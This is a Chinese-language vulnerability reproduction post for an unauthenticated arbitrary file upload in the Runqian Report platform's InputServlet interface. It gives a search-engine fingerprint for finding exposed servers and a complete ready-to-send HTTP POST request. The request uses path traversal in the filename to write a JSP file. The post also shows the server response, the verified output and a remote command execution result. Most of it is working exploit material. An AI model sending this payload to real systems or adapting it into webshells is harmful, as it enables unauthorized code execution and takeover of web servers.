R15-2润乾报表-企业级报表工具-文件上传

漏洞描述：

润乾报表平台 InputServlet 接口存在任意文件上传漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

网站图片：

网络测绘：

Hunter 语法：

鹰图指纹：app.name="润乾报表平台"

漏洞复现：

payload：

```
POST /InputServlet?action=12 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="upsize"

1024
--00content0boundary00
Content-Disposition: form-data; name="file"; filename="/\..\\..\\..\2024.jsp"
Content-Type: image/jpeg

<% out.println("hello,2024");%>
--00content0boundary00--
```

效果图:

Request

数据包扫描 美化 热加载 构造请求

```
POST /InputServlet?action=12 HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="upsize"

1024
--00content0boundary00
Content-Disposition: form-data; name="file"; filename="/\..\\..\\..\2024.jsp"
Content-Type: image/jpeg

<% out.println("hello,2024");%>
--00content0boundary00--
```

Responses 134bytes / 30ms

```
HTTP/1.1 200
Set-Cookie: JSESSIONID=F
Content-Type: text/html;
Date: Thu, 11 Apr 2024 1
Connection: close
Content-Length: 134

<html><body>
<script language=javascr
parent._uploadFileSucces
</script>
</body></html>
```

验证

hello,2024

RCE

[redacted]\administrator

[redacted]\administrator